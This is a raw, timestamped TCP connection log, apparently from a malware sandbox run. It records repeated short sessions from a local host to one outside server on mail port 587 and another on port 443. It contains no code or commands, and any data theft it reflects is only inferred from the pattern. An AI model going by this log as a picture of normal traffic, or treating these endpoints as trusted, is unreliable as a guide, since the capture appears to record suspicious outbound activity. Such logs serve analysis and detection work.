Sep 19, 2024 12:21:39.743961096 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:39.748905897 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:39.749003887 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:40.297022104 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:40.297228098 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:40.302243948 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:40.451419115 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:40.451834917 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:40.460227013 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:40.612756014 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:40.613291979 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:40.618570089 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.436367035 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.440330029 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:42.445719004 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.599111080 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.623491049 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:42.628622055 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.814090014 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.818680048 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:42.824038029 CEST	587	61514	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:42.824115038 CEST	61514	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:42.834939957 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:42.835007906 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:42.835103989 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:42.835505962 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:42.835529089 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.467489958 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.469631910 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:43.469659090 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.469822884 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:43.469831944 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.795079947 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.795273066 CEST	443	61517	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:43.795523882 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:43.795888901 CEST	61517	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:43.797128916 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:43.802201033 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:43.802314043 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:44.364861965 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:44.365026951 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:44.369981050 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:44.523714066 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:44.523896933 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:44.528932095 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:44.698379040 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:44.700069904 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:44.705101013 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.572340012 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.572945118 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:46.578267097 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.732367039 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.732692003 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:46.737782001 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.754513025 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:46.759624958 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.759723902 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:46.925723076 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.929009914 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:46.931613922 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:46.931649923 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:46.931715012 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:46.932138920 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:46.932148933 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:46.934808016 CEST	587	61518	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:46.934998989 CEST	61518	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:47.309850931 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:47.310211897 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:47.315190077 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:47.465162039 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:47.465600967 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:47.726684093 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:47.726969004 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:47.727821112 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:47.734344959 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:47.736124992 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:47.736166000 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:47.736330986 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:47.736344099 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:48.035151958 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:48.035331964 CEST	443	61520	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:48.035660982 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:48.035933018 CEST	61520	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:48.037058115 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:48.041965961 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:48.042152882 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:48.590116024 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:48.590500116 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:48.595488071 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:48.746009111 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:48.746450901 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:48.753968954 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:51.879280090 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:51.879555941 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:51.888384104 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:52.906049013 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:52.906260014 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:52.911258936 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.436779976 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.439429045 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:53.444402933 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.595134974 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.595400095 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:53.600555897 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.772264004 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.775944948 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:53.781269073 CEST	587	61519	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:53.781354904 CEST	61519	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:53.799730062 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:53.799823046 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:53.799901962 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:53.800196886 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:53.800235987 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.421375990 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.423079967 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.423139095 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.423398018 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.423410892 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.429022074 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.429301977 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:54.434209108 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.588046074 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.588725090 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:54.593852043 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.764228106 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.764786959 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:54.767579079 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.767613888 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.767827034 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.767992020 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.768007994 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.770215988 CEST	587	61521	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.770297050 CEST	61521	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:54.862310886 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.862495899 CEST	443	61522	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:54.862684965 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.863399982 CEST	61522	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:54.864681005 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:54.869546890 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:54.869780064 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:55.385550022 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:55.387363911 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:55.387373924 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:55.387425900 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:55.387434006 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:55.416799068 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.417032957 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:55.421798944 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.571100950 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.571357965 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:55.576383114 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.728704929 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.729095936 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:55.734523058 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.848835945 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:55.849067926 CEST	443	61523	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:55.849133015 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:55.849569082 CEST	61523	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:55.850681067 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:55.857192039 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:55.857295036 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:56.401185036 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:56.401382923 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:56.408483982 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:56.560666084 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:56.565943956 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:56.572016001 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:56.725205898 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:56.725609064 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:56.730878115 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.436943054 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.437146902 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:57.442152023 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.592979908 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.593153954 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:57.597991943 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.765166998 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.765778065 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:57.768490076 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:57.768517017 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:57.768604040 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:57.768845081 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:57.768862009 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:57.771028042 CEST	587	61524	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:57.771087885 CEST	61524	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.386475086 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.388185978 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.388204098 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.388257980 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.388263941 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.604141951 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.604597092 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.610940933 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.761923075 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.762084007 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.767028093 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.825565100 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.825737953 CEST	443	61526	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.825794935 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.826050043 CEST	61526	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.827178001 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.832114935 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.832207918 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.940519094 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.940803051 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:58.943778038 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.943834066 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.943912983 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.944293976 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:58.944314957 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:58.946374893 CEST	587	61525	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:58.946440935 CEST	61525	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:59.388283014 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.388421059 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:59.394164085 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.548712969 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.549084902 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:59.554203987 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.562022924 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:59.563551903 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:59.563587904 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:59.563657045 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:59.563683033 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:59.706248999 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.706676960 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:59.714998960 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.867274046 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:59.867477894 CEST	443	61528	149.154.167.220	192.168.2.5
Sep 19, 2024 12:21:59.867821932 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:59.868047953 CEST	61528	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:21:59.868841887 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:21:59.874391079 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:21:59.874480963 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:00.435574055 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:00.435872078 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:00.440809011 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:00.595698118 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:00.595988035 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:00.600951910 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:00.754856110 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:00.755244970 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:00.761598110 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.495095968 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.495265007 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:01.500294924 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.651115894 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.651247978 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:01.658196926 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.882589102 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.882833004 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:01.885305882 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:01.885355949 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:01.885437965 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:01.885828972 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:01.885844946 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:01.888035059 CEST	587	61527	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:01.888102055 CEST	61527	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.496519089 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.498927116 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.498975039 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.499042034 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.499052048 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.571254015 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.571573973 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.576416016 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.727488995 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.727793932 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.732614040 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.808168888 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.808358908 CEST	443	61530	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.808449984 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.825556993 CEST	61530	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.829914093 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.837634087 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.837748051 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.901767015 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.915221930 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.920439959 CEST	587	61529	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:02.920542955 CEST	61529	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:02.929452896 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.929501057 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:02.929610014 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.930377007 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:02.930393934 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.400760889 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.401000023 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:03.405831099 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.553819895 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.556279898 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:03.556308985 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.556391001 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:03.556400061 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.559180021 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.559453011 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:03.564300060 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.720530033 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.720812082 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:03.725708008 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.867856979 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.868047953 CEST	443	61532	149.154.167.220	192.168.2.5
Sep 19, 2024 12:22:03.868109941 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:03.868524075 CEST	61532	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:22:03.871313095 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:03.876187086 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:03.876271963 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:04.440861940 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:04.441046953 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:04.445949078 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:04.599482059 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:04.599783897 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:04.604657888 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:04.761497021 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:04.761883020 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:04.766885042 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.267630100 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.267879963 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.268748999 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.268821955 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.270240068 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.270307064 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.276926994 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.446409941 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.446660042 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.449114084 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.449440002 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.454641104 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.454682112 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.610090971 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.610260963 CEST	61533	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.615102053 CEST	587	61533	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.632644892 CEST	587	61531	208.91.199.223	192.168.2.5
Sep 19, 2024 12:22:06.633268118 CEST	61531	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:22:06.637352943 CEST	61534	443	192.168.2.5	149.154.167.220
